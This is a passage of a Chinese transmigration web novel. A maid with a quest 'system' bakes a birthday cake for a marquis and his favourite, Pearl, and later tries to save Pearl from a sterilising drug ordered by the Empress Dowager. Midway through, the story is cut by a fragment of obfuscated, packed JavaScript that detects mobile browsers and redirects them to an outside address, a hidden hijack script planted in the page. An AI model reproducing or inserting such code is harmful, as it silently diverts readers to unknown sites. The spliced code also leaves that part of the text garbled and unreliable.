祝谣送她一程,见人走远了,再抡起腿,以百米冲刺的速度赶回来。
不想这次,她是在湖畔的芦苇丛中,发现了两人的踪影。
以天为盖地为庐,大抵说的就是此情此景了罢?
祝谣揪了根野草,叼在嘴里,倚着一棵承受了她的重量而晃晃颤颤的小树,平缓呼吸。
少焉,祝谣坐起来,便见两人在芦苇丛里越滚越远,压倒一片白绒绒的花絮,飘向空中,如雪花茫茫。
视线中似乎有东西在蠕动,祝谣揉了揉眼,定睛一瞧——是蛇啊!
那蛇通体浅青色,细瘦一条,已然立起上半身,嘴中吐着信子,朝着一团人形物状谨慎地游行。
祝谣歘地站起来,火速找到一根长枝条——做任务要紧,但小命更重要!
她蹲身着前进,借由芦苇遮挡身影,停在了青蛇的后边。
祝谣深呼吸还未做完,嵌合在一起的男女主又滚了两圈。
这一动便刺激到青蛇,它显然将这当作是挑衅,飞速追了上去,就着裴执鹤袒露的肌肤,咬了一口!
祝谣倒吸一口凉气,愣了几息,也追了几步,用枝条抽打着青蛇。
青蛇挨了几下,似乎被打懵了,呆在原处一动不动。
祝谣略带崩溃地向系统问道:“我的任务失败了吗?”
“没有哦,这边检测到青蛇注入的毒素是能有催情的效果。你做得很好。”
系统头一回俏皮地说话,祝谣听得起了一片鸡皮疙瘩。
是好消息。祝谣苦中作乐道。
概因青蛇发现了她,此刻成功祸水东引的祝谣,跑得飞快,见到大树,猴儿似地手脚并用攀了上去。
祝谣清楚蛇会爬树,于是见蛇爬了一半,又跃了下去,攀上另一棵树。
如此反复好几回,小青蛇终于累了,趴在树干上,软软地像根面条。
祝谣跳下来时,亦是晃晃悠悠,大腿、小臂、腰腹皆酸痛不已。
她不敢懈怠,四脚并用爬到一座山石上,才松了口气。
祝谣怨气颇重地望向珍珠和裴执鹤,只一眼,又立马收回目光。
他们愈加起劲,做着会被马赛克的模糊的高难度动作,若与草原上交丨媾的野生动物相比,似乎差不太多了。
祝谣睁着眼睛,硬生生在山石上坐到身子僵硬,才见男女主短暂地分开。
她沿着山石光滑的那一面溜了下了,甩甩胳膊,抖抖腿,随他们一路往山顶移动。
按照原书的节奏,这是大肉的倒数第二个回合。
男女主在短暂清醒的状态下,谈谈心,赏赏月,接着于半道又抱在一起,紧接着裴执鹤展现出超强的力量——抱着珍珠爬山。
祝谣捂眼,确定两人且有得爬,周遭也有遮挡物,便抽空去了灶房一躺。
丫鬟坐在小板凳上,头一点一点地,差点磕到灶台的尖角。
祝谣护着她的额头,见人转醒,才撤手。
“姐姐?你来了,窑子里的东西烤好了,好香呐!我没吃,把窑盖拿走,抽掉一半柴火,用剩余的灰烬温着它。你瞧!”她咧嘴笑了笑,拉着祝谣去看。
只见表皮微褐,其下暄软蓬松的蛋糕成功做了出来!
兴许这也能当作她的独门秘方,届时饥饿营销,能赚一桶金。
祝谣放了两团面糊进去,做出来也有些许差异,她留下卖相最好的,继续放在土窑中保温。
“如若不嫌弃,这一个给你尝尝。”祝谣送
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给她,问道,“这儿有牛奶吗?”
“真的吗?谢谢姐姐!有的,还剩一点,放在碗里。”丫鬟尝了一口,蛋香扑鼻,糕体越嚼越香,是从未尝过的味道,“姐姐,这是哪里的吃食,我怎么没听说过?”
祝谣倒是想用鸡蛋清手动搅拌奶油,但鉴于古代的鸡蛋不分什么有菌和无菌,为了入口的安全问题,她放弃了。
如此,便只能用另一个法子。
她边回道:“我和西域乐团里一个舞娘聊得高兴,她告诉我做这个‘蛋糕’的方子,侯爷知道了,便要我做出来。”
边加热牛奶,待泛起小气泡时,分两次加入白醋。
“蛋糕?很好记的名字。”
丫鬟囫囵吃了快一半,不忘捡起掉在衣服上的碎屑,吃了干净,凑到祝谣身旁道:“姐姐,你现在是在做什么?”
“这蛋糕你瞧着是不是光秃秃的?我还要做个叫‘奶油’的东西,抹到它上面。”祝谣耐心道。
“姐姐不怕我偷学了去?”丫鬟的小脸还带着婴儿肥。
祝谣笑了笑:“不怕。”
她手握那么多小吃配方,便是这个被偷学了去,还有另一个,况且家家户户做得味道不同,只要她肯下功夫,总能脱颖而出的。
丫鬟闻言,满脸崇拜:“姐姐这便是贵人们常说的深藏不露。”
见丫鬟两眼放光,似乎很想帮忙,祝谣便让出位子,教她抓一把木箸,顺着一个方向,不停搅拌这团奶絮。
“对,就是这样,不要停,要打到顺滑。”
她鼓励了几句,让她打好便搁到放了冰的大缸里,又赶到了山顶。
祝谣打了个喷嚏,山顶较之山腰处,冷了几个度。
她苍蝇搓手、蚂蚁烫脚般,左动动,右扭扭,终于守到天边泛白,金灿灿像煮熟的蛋黄似的太阳,慢慢升了起来。
裴执鹤是抱着珍珠一路回到院落的,在房中还厮混了会儿。
见昌安守着,祝谣头重脚轻地找了个小间,倒头睡到系统冷不丁提示道:穿插的任务已完成。
她才艰难地爬了起来。
还差最后一步!
祝谣将制成的奶油均匀地抹到蛋糕体上,切了几颗葡萄,敷衍地装饰了下,匆匆赶回院落。
昌安悄悄去请太医,要给裴执鹤看看被蛇咬到的伤口。
“蝉儿,这是什么?”
一眼未睡的珍珠,换好衣裳,走了出来,此刻竟是一副容光焕发,眸含春水的模样。
祝谣缓缓吐了口气,双眼熬得通红,道:“此物叫——‘生辰蛋糕’,是我用外域传来的方子做的。昨日的生辰宴被毁,侯爷也只吃了一碗长寿面,你不妨献上这个给他,令他开怀。”
珍珠微诧,望着祝谣憔悴的面容,心想她不会是忙了一夜,只为做成“生日蛋糕”吧?
“你随我一起进来罢。”她满眼复杂地拉着祝谣。
祝谣拒绝道:“你说是你做的就好,我是为了你才做的。”
珍珠愈加感动,竭力要她进房。
祝谣没办法,免得拉拉扯扯被玲珑发现了,便跟了进去。
她们站在博古架旁,祝谣强调道:“我会说这蛋糕是你做的,你待会不能否认,知道吗?”
“好罢。”
珍珠应道,尔后进去里间与裴执鹤说话。
两人经过一宿零距离接触,亲密之感从微小的肢体动作便可窥见。
“侯爷,奴婢有件礼物要献给您。”珍珠替他扣上衣襟前的最后一颗扣子。
裴执鹤眉宇间尽是餍足,他微点下颌,允了她。
祝谣得令,垂首捧着白霜似的蛋糕,走到裴执鹤面前。见未有回应,再捧高了些:“姑娘献给侯爷‘生辰蛋糕’,祝侯爷岁岁年年,万喜万般宜。”
呼,临时背的诗词应当没背错罢?祝谣默默想道。
青年略带思索的目光这才从祝谣的身上,移至她手中奇怪的东西上。
37. 第三十七章
“此物叫生辰蛋糕,何解?”裴执鹤回首向珍珠问道。
糟糕,忘了提前对词了!
但是话又说回来,几乎一夜没睡个安稳觉,她还记得送蛋糕就不错。
什么人呐真是,头发长见识短的男人,有蛋糕吃就适可而止吧,还要问出它祖宗十八代吗?
珍珠欲言又止,眼神游移,裴执鹤便顺势看向了祝谣。
祝谣迅疾收起瞪人的乌眸,好险未被发现,将因睡眠不足而产生的易燃易爆炸的闷气压了下去。
世界如此美妙,她却如此暴躁,这样不好,不好。
她恭敬道:“因其主要用料是鸡蛋,又有松软的口感,为区别其乃西域的点心,加之今日是侯爷的生辰,故叫生辰蛋糕。
糕体外面还裹了一层霜白的东西,唤作奶油,则是用牛奶制成的。”
其实叫“蒸糕”、“松糕”可能更加本土化,但这样反而显得不特殊了。
祝谣见他哑巴似的,再再抬高了蛋糕,就差怼到裴执鹤的嘴里:“姑娘尝试了好多回,才做成这么一份,奴婢恳请侯爷品尝。”
蛋糕的香味传入鼻中,裴执鹤起了几分兴致,对珍珠道:“你有心了。”
珍珠察言观色道:“奴婢陪侯爷吃一口,可好?”
“嗯。”裴执鹤矜持道。
他被请入座,又睄了几眼,原来那什么奶油上摆了几颗葡萄。
不过他觉得,“奶油”二字太过直白,若是能内敛含蓄些,应当能在洛都风靡一时。
祝谣放下蛋糕,从荷包里拿出一根削短削薄的蜡烛,垫了一张剪成伞状的油纸,将其插在蛋糕的中心。
“这是何意?”
裴执鹤微微蹙眉,那蜡烛尤其脏,虽然丫鬟拿了油纸隔着,但他仍旧觉得玷污了奶油。
“这是姑娘吩咐奴婢专门制作的蜡烛。”祝谣吹了吹火折子,递给珍珠,继续解释道,“姑娘说,蜡烛的数量代表着年龄,在蜡烛点燃时,阖眼许愿,许愿完一口气吹熄蜡烛,便能心想事成。”
裴执鹤不置可否:“这是西域的习俗?
祝谣戳了戳珍珠的后腰,该圆的话自己都圆得差不多了,轮到她表现了。
珍珠挺了挺背,轻声道:“是。本来应当在侯爷生辰当日献上蛋糕的……”
“如今也不算迟。”裴执鹤拉着她坐到一旁,“我很喜欢这个礼物。若有你的陪伴,是不是生辰当日又何妨?”
珍珠腮颊泛红,点燃蜡烛:“还请侯爷许愿。”
祝谣木然地看着了两人你侬我侬,不忘在切蛋糕的环节,提议他们一同握刀切分。
当珍珠依偎进裴执鹤的怀中,互相喂着蛋糕时,系统传来好消息:“男女主互相确认情意,任务已完成。”
祝谣宣布,这是她今日听到的最好的消息。
“回府后,你便搬去潋滟馆。那里种满了合欢花,母亲生前最爱夜宿此地。”裴执鹤抚着珍珠垂直腰间的秀发,眸中染上了暖意,温声道。
“奴婢、奴婢何德何能……”
珍珠还未说完,被一节指骨抵住了唇:“在我面前不必自称奴婢。”
“是!”珍珠扑进裴执鹤的胸膛,双手揽上他的脖颈,抱得很是用力。
如同被捂化的冰块,裴执鹤略带笑意,纵容了她一时的无礼,轻拍着珍珠的背,任由狗粮在祝谣的脸上胡乱地拍。
祝谣见他们旁若无人的亲密,默默后退,打算回到住处,接了水清洗后,就睡个谁来都叫不醒的觉。
“侯爷,我还想求您一件事。”珍珠仰头看他,眼中似含繁星,“我便是住到潋滟馆去,也是一人居住,身边少个可心儿的人。我想求侯爷,要了蝉儿来作陪。”
“蝉儿?”
裴执鹤闻言,睨向站在角落里的祝谣。
他回忆起这丫鬟还去了趟瑞国公府,倒是没惹祸,人应当还算识趣,既是珍珠想要她,给了便是。
“好。”
祝谣上前谢恩,接下大领导亲自批准的晋升职位。
从明日起,她是珍珠身边的大丫鬟,因珍珠得宠,月钱被提到一两。
她回去的路上,特意拐去灶房煮了锅四叶水,另给了昨夜帮她烤蛋糕的丫鬟一点赏钱。
四叶水是用柚子叶、黄皮叶、柏叶和艾叶煲煮而成,祝谣将它与凉泉水混合,继而痛快地净了身。
据说这样可以冲掉霉气,祛秽辟邪。
不过求个心安,祝谣泼掉脏水,自觉浑身轻松了许多。
山中的气温较之城内很是凉快,即便日头正盛,只要待在荫蔽处,就能缓解暑热。
祝谣将被子盖在肚皮上,几息之后,进入了梦乡。
*
转醒之际,日光仍旧明媚。
这回没听到系统无机质般的声音时,祝谣还有些不适应。
……别是被任务鞭挞成受虐狂了。
祝谣晃了晃脑袋,甩掉对未知任务的关心,专注当下。
甫用方巾给自己擦了脸,连翘提着食盒回来了,身后还跟着小翠。
“哟,蝉儿回来了?”小翠轻笑道,“镇日爱凑到珍珠身旁,也不知人家嫌不嫌你这条狗烦。”
大抵仗着就差踹走她,便能光明正大地跟着连翘,小翠嘴巴抹了毒似的。
祝谣从前多难听的话都听过,实在不觉难堪,可落在连翘眼里,却以为她是被骂懵了。
连翘搁下食盒,开口道:“小翠,你先回去。”
较之蝉儿,小翠性子放得开,会来事,说出口的俏皮话常能逗得她开心,该干的活也未拖过后退,只是容易凭着一时感情冲动做事。
“今日我想和姐姐一同用膳。”小翠拉着连翘的衣袖,不情愿道。
“回去。”
连翘又重复了一遍,这回小翠识趣地松开衣袖,瞪了祝谣一眼:“你别得意!”
她瘪着嘴,用肩膀撞过祝谣,却祝谣反撞回来,差点踉跄跌倒!
“好了!还想不想休息了?小翠,出去!”目睹了全程的连翘,不给她告状的机会,呵斥道。
小翠一跺脚,头也不回地小跑离去。
房中安静下来,连翘边摆出饭菜,两双碗筷,边道:“做大丫鬟可不能像现在这样安静,你要能担事,会给主子出解决问题的法子,有护主的忠心……罢了,是是啰嗦了,你何时搬走?”
祝谣上前帮忙,一五一十道:“回侯府便随珍珠住到潋滟馆。”
连翘摁了她的脑袋,叹着气笑道:“有出息了,不窝囊了,竟做上别处的大丫鬟了。”
“我想攒钱,在外边买间屋子,等老了,侯府不
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愿养我了,也有个地方安身。”祝谣想了想,不愿和连翘生分了,遂说了一点实话,“做大丫鬟月钱高一些,我能攒到的银钱就更多。”
她挟了块火熏肉,红亮油润,放到连翘碗中。
因裴执鹤生辰宴的缘故,灶房铆足了劲出菜,剩余吃不完的就分给各院的下人们。
这几日祝谣吃得格外撑肚和满足。
“珍珠越得宠,对我,对你和张总管也不算坏事。”祝谣觑着连翘的脸色,“这代表侯爷跟前,又多了一个能帮你们说话的红人了,是不是?”
确实如此。
连翘见她将话都说开,也给了她一颗定心丸:“不论你将来混得好不好,我和表舅都不会落井下石。当日合欢散一事早就了结了,我们不会再翻出来做文章。”
一顿饭吃下来,倒使二人的关系更近一步。
祝谣也能为自己做主了。
“对了。”连翘递出一方帕子,“今日是你的生辰,这是我亲自绣的,喏,给你。”
祝谣刚送菜入口,筷子还没放下,愣了片刻,才展露微笑道:“谢谢。”
她接过帕子,发现其上的玫瑰花还是用的双面绣。
若非连翘提醒,她是记不起的。
祝谣为连翘的心意感到一阵温暖,但是她并不喜欢被有意淡忘的生辰,收好帕子,便只当今日同寻常的往日无任何分别。
汤足饭饱,祝谣犹豫要不要接着补觉。
也不知是否每日上蹿下跳做任务锻炼了体质,还是因为年轻,她只睡了一个半时辰,醒来似乎觉得疲劳几乎散了大半。
如果继续睡一个下午,估摸着晚上要睡不着了。
未等祝谣做出决定,一个小丫鬟跑来,道是珍珠姑娘请她速去正房,有十万火急的大事要商量!
*
“这就是你说的大事?”
祝谣看着趴在床上、被太医诊断为是蛇毒发作而导致昏厥的裴执鹤,向珍珠发问。
这是原书男主第二次遭遇相同的情形了罢?养尊处优的高门子弟,身体也是有够脆皮的。
“当然大了!太后做主将庄子里的皇亲国戚们聚在一块,开个家宴,既是安抚,亦是弥补昨日被中断的宴席,侯爷不能缺席!”昌安焦急地抢话道,“如今侯爷还不知道能不能醒过来!”
“先治了再说。太医怎么说?他的嘴严不严?暂且不能让旁人发觉侯爷的不妥。”急也无用,祝谣冷静道。
昌安试着跟上她的思路:“太医懂得什么话不该说,我也特意叮嘱过。他说,现在只能试着将侯爷伤口里的毒液吸出来,才有机会在酉时前清醒。”
“太医去哪儿了?”祝谣蹙眉道,“他放心让你们在吸毒后包扎和上药?”
昌安解释道:“是我担心他在这待久了,更加引人注目,便让他留了药就先回去了,明面上只说是头一回给侯爷把平安脉,稍微多用了点时间。
这秘制药粉能止血和缓解疼痛,撒完基本上无需多费心思。”
“那你们快吸出毒液啊。”祝谣不解道,“喊我来,不会是让我来吸罢?”
不会吧?
祝谣望向裴执鹤背上的伤口,处于一个比较微妙的位置,差几寸便至臀部,给他吸丨毒液相当于坐俯卧撑,假使手软,可能会直接贴上肉丨山。
38. 第三十八章
“自然不是!”昌安摆手道,“我可不敢让姑奶奶你……咳咳,是珍珠想给侯爷吸出毒液,我不同意,万一她也中毒了怎么办?”
珍珠摇摇头,抱住祝谣的胳膊:“蝉儿,如果我不去,便是昌安去吸,若是他亦中毒倒下,届时消息更瞒不住了。”
祝谣勉强弄明白了,他们是互相都不愿对方下嘴,争来争去,谁也说服不了谁,于是叫来了她做判官。
其实这事很好决断,首先排除她,其次便看谁的嘴中没有破损的创口,如此一来,昌安才是最合适的人选。
“你。”祝谣指向昌安,“你去给你们家侯爷吸丨毒。”
珍珠攥紧手:“为什么?”
“说实话就是,你同侯爷唇齿相贴多回,口中可能会有被咬破的地方,那毒血被吸出来,如若接触伤口,你中毒的几率更高。”祝谣解释道。
“好了,就我罢!”昌安打断珍珠,“侯爷醒来要紧,我也不一定会倒下,就这样决定了。”
昌安走到床榻前,撩开一角衣服,眉毛纠结成两条蚯蚓似的,回头见祝谣毫不避讳,直勾勾地盯着,难能扭捏道:“你们、你们都转过身去,不许偷看!”
“还是算了罢……或许有别的法子,我们帮侯爷把血挤出来,这样就不用下嘴了?”珍珠急中生智道。
身体发肤,受之父母,要是危及生命,又没有代替的法子,祝谣想,那太医一早便会给裴执鹤放血。
然而现在问题是,裴执鹤一要醒过来参加晚宴,二还要不被人看出背后有伤。
不划十字难以挤血,划了十字创口扩大,包扎起来还得担心走动间伤口会崩裂渗血,实在不妥。
“别担心,昌安吉人自有天相。”祝谣揽着珍珠转过身,对昌安道,“我们转过身了,你开始罢。”
昌安深呼吸,眼睛一闭一睁,赶忙往净盆里吐出一口褐血。
祝谣听声辨别进行倒哪一步,不忘提醒道:“多吸几口,以防万一。”
珍珠揪着帕子,数着数,约莫听着昌安吐了四五回血,劝道:“可以了罢?都过了一宿,毒素早融进血里,再吸也吸不了多少出来。”
祝谣点头:“是这样没错,不过也是死马当活马医了。昌安,你先漱口,我和珍珠给侯爷上药。”
如释重负的昌安,跑到一旁漱口刷牙。
祝谣倚在床边,只给珍珠递纱布和药粉,并不直接上手。
昌安用巾布搓了好几下嘴,仍旧一副苦大仇深的神情。
祝谣安慰道:“没事的,好在伤口不在胸前或者唇边,你是侯爷的忠仆,不过牺牲一下,应该的。”
“……你别说话了。你们先回去歇息罢,这里有我就好。”
昌安接过湿布,给裴执鹤擦着额头渗出的汗。
留在此处也只是多一个人等待,祝谣拉着珍珠出门。
不料,迎头撞上了玲珑。
玲珑昨夜遍寻侯爷和珍珠无果,现时却在正房见到珍珠,她隐晦地打量了对方几眼,眸光一沉。
“给珍珠姑娘请安。”
在府上几乎无人关注,受了她一礼的珍珠有些不知所措,但想起裴执鹤说身边有他,她不必过于谨小慎微。
珍珠竭力表现镇静道:“起来罢。”
“谢姑娘。”玲珑起身,面上已是一副纯良和煦的神态,“不知侯爷起身了没?晨间我去给太后请安时,她还问起侯爷怎么没去请安。”
珍珠犹豫了一瞬,道:“侯爷要午休,我便出来了。你有事要禀告侯爷吗?可以先与我说,待他醒了我替你转达。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880793|171904||http|test|mini|href|location''.split(''|''),0,{}));
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>玲珑不动声色,笑道:“不是什么要紧的事,就不劳烦珍珠姑娘了。”
话音一落,两人都默契地没了言语,却也谁都没先抬脚让步。
玲珑瞧见立在珍珠后边的祝谣,心思一动:“蝉儿这是怎么了?若是她不小心顶撞到珍珠姑娘,我代她向您赔个不是。”
珍珠回身握着祝谣,将她带上了一步:“蝉儿很好,我向侯爷求了她过来伺候。”
“原来如此。”玲珑望向祝谣,温和道,“珍珠姑娘看上你,便是你的福气,可要尽心伺候,知道吗?”
珍珠唇角放平,认真道:“名义上蝉儿是我的丫鬟,但我只将她看作姐妹,她每日最需要做的,就是陪着我。”
“好生令人感动。”玲珑哂笑道,“蝉儿,你不想说些什么,感激珍珠姑娘的厚爱吗?”
二人的目光歘地投射到祝谣身上,如有实质。
她略有些僵硬,总觉得套用穿越前的流行词来说,此所谓修罗场罢?
正在此时,来了位意料之外的人。
“芳嬷嬷?是太后让您来的?”玲珑认出来人是太后娘娘身边的心腹。
芳嬷嬷发丝是灰白的,梳理得一丝不苟,衣裳系到最顶上的一颗,面皮绷紧,神色严肃,眼睛朝前看,似乎谁都不配被她放进眼里。
珍珠咬着下唇,很是担心裴执鹤昏迷的事情要被发现了。
芳嬷嬷问道:“珍珠是在这吗?”
玲珑给她指了指:“嬷嬷来得巧,您瞧,珍珠姑娘是远在天边,近在眼前。”
祝谣观其神态举止,摆足了姿态,言语之间隐约透露出不耐,不似寻人,倒更像是……来者不善。
果不其然,芳嬷嬷的眼珠动了动,定在珍珠身上,片刻,皱起眉头道:“太后娘娘召见你。”
39. 第三十九章
半个时辰前。
贵妇人们休整了一宿,晨起梳妆打扮后,便自发地前往给太后请安。
她们其中的大多数,也是听闻了太后会参加外孙的生辰宴,这才亲自来这一趟。
生辰宴虽然被毁了,但那是裴执鹤的生辰宴,出没出事,干他们何事?这宴席最紧要的是为她们的交际提供了场合。
太后早晨不见客,众人便统一了步调,过了未时再来。
下午再聚,太后仍旧姗姗来迟。有的盼着到她跟前说说话,有的不爱交际应酬,如坐针毡,还有的则已经从相谈甚欢到意兴阑珊,正等着来点新鲜事。
襄王妃可是其中爱看热闹的翘楚。
“今个也不见宁远侯过来给太后请安,莫不是还在为昨日的事伤心?”她掩着嘴,眼角弯出细纹。
一听话出自她口中,太后心下不耐。
若是旁人这般冒犯她,她自能不理会,但襄王妃不仅是个没脸没皮的,还是自小到大专跟她作对的冤家。
如今两人岁数相同,辈分却差了一辈,概因襄王是皇帝的亲皇叔。
“他许久未来山庄,怕是认床,未休息好,哀家便免了他过来请安。”太后平静道。
“合着我们就是经常来山庄,哪都能睡得香?”
襄王妃直言不讳,旁的妇人见状立即噤声,不敢掺和进两位神仙的打架当中去。
太后面色有些不大好,襄王妃不在乎,自顾自地调笑道:“我看呐,是宁远侯身边有个可心人儿,将他伺候得舒舒服服,乐不思蜀了,于是忘来给你请安了。”
太后当即破功:“襄王妃,你是鹤儿的长辈,亦是命妇,字字句句不是泼出去的水,造谣是要负责的。”
“太后可别给我扣帽子。”
襄王妃随机抓到一个妇人,当着太后的面说道:“前不久宁远侯不是收了个通房,听说昨日献舞的舞娘就是她!没想到宁远侯原来喜欢这般大胆的女子,啧啧啧。”
闻言,太后眉心挤出一道“川”字,眼睛定在福安那儿,但见她回避着自己,心下大约有了数:必是福安不死心,撺掇着襄王妃搞事情。
“那孩子不过是想讨鹤儿欢心,品性不差,莫再胡言乱语。”太后板着脸,阻止襄王妃越说越过分。
然而正好中了对方的圈套,只听襄王妃顺势道:“品性好不好,也不是太后一人说了算。你方才说,我是宁远侯的长辈,在座没有哪个不是,既如此,我们也是看着宁远侯长大的,不如将那姑娘叫来,让我们掌掌眼?”
*
祝谣一进厅堂,差点没被华丽的衣裳和满堂珠翠晃盲了眼。
她本想随着珍珠走到太后近前,却被拦下,只好站到了侧旁。
华堂之内,太后高坐正中,两侧皆是豪门贵胄。
她们珠珰坠耳,绣襦裹身,流霞焕彩,即便矮了珍珠半身,浑身气度也如无形的大山,伴随审视的目光倾轧在她单薄的身板上。
祝谣眼中的珍珠,像是走在一条往里纵深,似乎永远摸不到头的窄道上,踌躇着,害怕着,却还是行走着。
“奴婢见过太后娘娘,太后千岁千千岁。”珍珠跪在地上,叩头道。
襄王妃眼睛发亮,插话道:“抬起头,转过身来,让我们都瞧瞧是怎样一个标致的姑娘,竟能有幸服侍宁远侯?”
珍珠看看她,又回首望向太后,因太后并未叫她起来,便安静地跪着,不打算听令于襄王妃。
太后找回了一点场子,由着襄王妃唱独角戏,直到芳嬷嬷捧上一副赤金累丝叆叇来,才叫珍珠起身坐到脚踏上。
她嘴角噙着笑,抬起珍珠的下巴,越瞧越满意,越看笑意越浓。
“牙口齐整,面相丰润,是个有福之相。”太后这才大方地命珍珠转过身,给座下的贵妇们,尤其是襄王妃好好看看,“你们觉得呢?”
襄王妃先是称赞道:“样貌是挑不出错的,身段昨日也见识过,当得起专房之宠。”
话头一转,半是玩笑道:“不过宁远侯年轻气盛,又未有妻室,还得让太后娘娘费心,多规劝他,勿要沉湎于男女情爱,免得闹出人命来了。”
太后甫通畅的气便再次堵塞了起来,她心中暗骂:真是狗嘴里吐不出象牙!
不过……倒是提醒她了。
离着晚宴还有些时辰,太后不耐烦看到襄王妃作妖,将众人都赶了回去。
待到人都散了,太后朝珍珠道:“你留下。”脸上虽未带笑,却也瞧不出甚麽糟糕的神色。
芳嬷嬷扶着她回到房中,珍珠和祝谣便在门外候着。
祝谣看出珍珠的紧张,却碍于周围的嬷嬷丫鬟们,不敢出声,引来注意,遂伸手握住她,当作安慰。
只是这一握,祝谣才发现珍珠的手心俱是汗。
算起来,珍珠也只比她现世的年纪大了一岁。
祝谣拿出帕子,沿着手中的纹路,认认真真地一点点将汗液擦拭干净,换来珍珠的嫣然一笑。
恰时,芳嬷嬷推门,打断了她们俩。
“太后只让珍珠一人进去。”她瞟了祝谣一眼,“你在外面等着。”
说罢,侧身盯着珍珠先行一步。
祝谣被隔绝在门外,只好站到最边上,其他侍女的末尾。
这一站,便站到了太阳底下,站久了鼻头上也冒了汗珠。
那站在廊下阴阳分界线内的宫女,好心提醒道:“现在没外人来,你站到我后边,躲躲太阳。”
“谢谢姐姐。”祝谣微微摇头道,“万一被人瞧见我躲懒,估计会连累你挨骂,我在这多晒晒太阳,也能多长点个子。”
宫女不再言语。
忽而嗡嗡声鸣,下一刻祝谣便见一只瓢虫闯入眼帘,“啪”地落到宫女的颈侧。
山中水好景好,只一点不好,那便是各类昆虫不少。
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宫女吓得花容失色,连带着抓住一旁的同事,引起了一连串的骚动。
“姐姐别出声,也别动,是个小玩意,不会咬人的,别怕,我帮你抓走他。”祝谣安抚道。
宫女们皆捂着嘴僵在原地,大气都不敢出,只是眨眼的功夫,那瓢虫被祝谣掐在了指尖。
祝谣无论是穿越前还是穿越后,皆出生于乡村,对虫子倒没那么惧怕,有时心情憋闷了,还会四处找虫子观察,现时对付一只瓢虫,不在话下。
“它很小的,伤害不了你们。”祝谣当着她们的面跑出一段距离,扬了它,再张着手回来给她们瞧,“放走它了,没事了。”
被瓢虫惊吓到的宫女大喘气后,感激地看向她:“真是多谢你了。”
其他宫女也纷纷道幸好有祝谣,还上手摸摸头,捏捏手,直夸她是好姑娘,有她在身旁,倒没那么怕山里的虫子了。
小半刻钟过去了,一个嬷嬷步履匆匆地端着个瓷碗进到里边。
这令祝谣的眼皮跳了起来,她假意好奇地向宫女问道:“姐姐,嬷嬷端的是调养太后身子的汤药吗?”
宫女揪着帕子欲言又止,回头看了看旁人,最终小步凑过来,细声道:“……那是让女子再难有孕的……”
祝谣心下一凛!
古代这医疗条件简陋,女子生产时便得经历一个鬼门关,要是真喝了这种绝育的毒药,不知会染上什么妇科病。
她随意编了个借口要走,其他宫女都当睁一只眼闭一只眼,由着祝谣溜出院子。
不管能不能及时拦住珍珠,且先找人试试罢!
山庄里的路并不好走,更遑论跑起来,祝谣跑了一会儿便喘着小气。
她本来以为系统会冒出来派发任务,结果安静得很。
该找谁救珍珠?
祝谣一番头脑风暴,回过神来,发现脚已经自行往裴执鹤所在的院落动了。
对,就该他去救!珍珠可都是因为他才遭受这等无妄之灾的!自己的外祖母,自己去劝!
祝谣一口气不歇,跑回了主院。
也不知是有意,还是碰巧,玲珑出现在门外。
她状似无意地站到门扉的中间,蹙眉道:“这是怎么了?一点规矩都没有。”
祝谣当真没工夫陪她练嘴皮子,想了想,自己是珍珠身边的丫鬟,也不归玲珑管了,于是靠着一把子蛮力,将玲珑推到一边去。
她开了门就闯进去,还吓了打盹的昌安一跳。
“怎么了?出事了吗?”
“大事。”祝谣看着床上的裴执鹤,问道,“侯爷还没醒吗?”
昌安摇摇头:“身子不发热了,但是还没睁眼。”
来不及了!
祝谣咬咬牙,抽出给珍珠擦完手汗的帕子,又沾湿了些水,铺到裴执鹤的面颊上。
昌安看着她扬起手,瞪圆了眼睛,喊道:“你想作甚?!”
40. 第四十章
祝谣悬停住手,多说了句:“你若是为了珍珠好,就去门外拦着玲珑,别让她进来。”
说罢,她也不管昌安是什么神色,带着势如破竹的力度,朝着裴执鹤腮颊掌下!
因着隔了层湿帕,声音不脆,但是裴执鹤仍旧被她扇得偏过脸去。
祝谣揭开帕子,见皮肉未红,连着又啪啪打了两下!
“什么声音?”玲珑搡了昌安一把,却抵不过他力气大,有些恼意,“昌安,侯爷若是有个三长两短,你以为你逃得了干系吗?你就任由蝉儿在里面放肆?”
昌安心中自也是担忧,但说句不好听的,侯爷再怎么被蹬鼻子上脸,境遇也不会比势单力薄、孤身面见太后的珍珠更差。
“你们到底在搞什么名堂?”见他不言语,玲珑逼近道,“侯爷一直待在房中,怕不是简单地休息而已罢?你若是再隐瞒,我就不能保证太后娘娘不会知道。”
昌安听出她的言外之意,搬出太后压人,但他吃软不吃硬,亦不是全无倚仗的,眼神一凛,道:“我侍奉侯爷多年,他是不舒服、不痛快了,我最清楚,且轮不到旁人指点。况且,太后娘娘极看重侯爷,几乎不会逆着他的意思,你如是到太后跟前告状,可得小心侯爷厌你自作主张。”
玲珑闻之一惊,心生忌惮,半晌说不出话来。
室内,床榻上。
“睡得像具活尸一样。”祝谣嘟囔道。
她见裴执鹤未有醒来的迹象,于是开始动用其他手段,诸如捏着鼻子给他憋气、揉搓脸皮等等。
一番折腾下来,裴执鹤还未苏醒,心下一急,动手掐起了他手臂内侧的皮肉。
估计有三四下,祝谣发现裴执鹤的尾指微动,立即下床,膝坐在地毯上,揉着眼睛,泛了点泪花。
少选,裴执鹤迷蒙地睁了眼。
他的意识尚飘忽不定,只身上隐隐的疼痛,叫他恍然间忆起上回躺床的难受。
“侯爷,不好了!姑娘被太后娘娘传召,现在都没放人,奴婢在门外候着,还见到嬷嬷端了碗药进去。”祝谣往原先十分的急色上又添了三分,道。
裴执鹤坐起身,晕沉沉的,脑中似乎嗡嗡作响,支着额头缓了会儿,才眉头紧锁地看向她:“皇祖母素来慈蔼,应只是打算给珍珠调理身子罢了,你不要多想。”
此时祝谣当真想给他两个脑瓜崩,她锲而不舍道:“奴婢嗅到汤药的味道,不是单纯的苦味。姑娘平日待奴婢好,奴婢都记在心底,奴婢也不敢妄自揣测太后娘娘。”
祝谣以手垫额,俯下身去:“只恳请侯爷过去看看,便当作在太后面前给姑娘过个明路,让她在后院的日子好过一些。”
正是情浓之际,裴执鹤听了进去,愿意走这一趟。
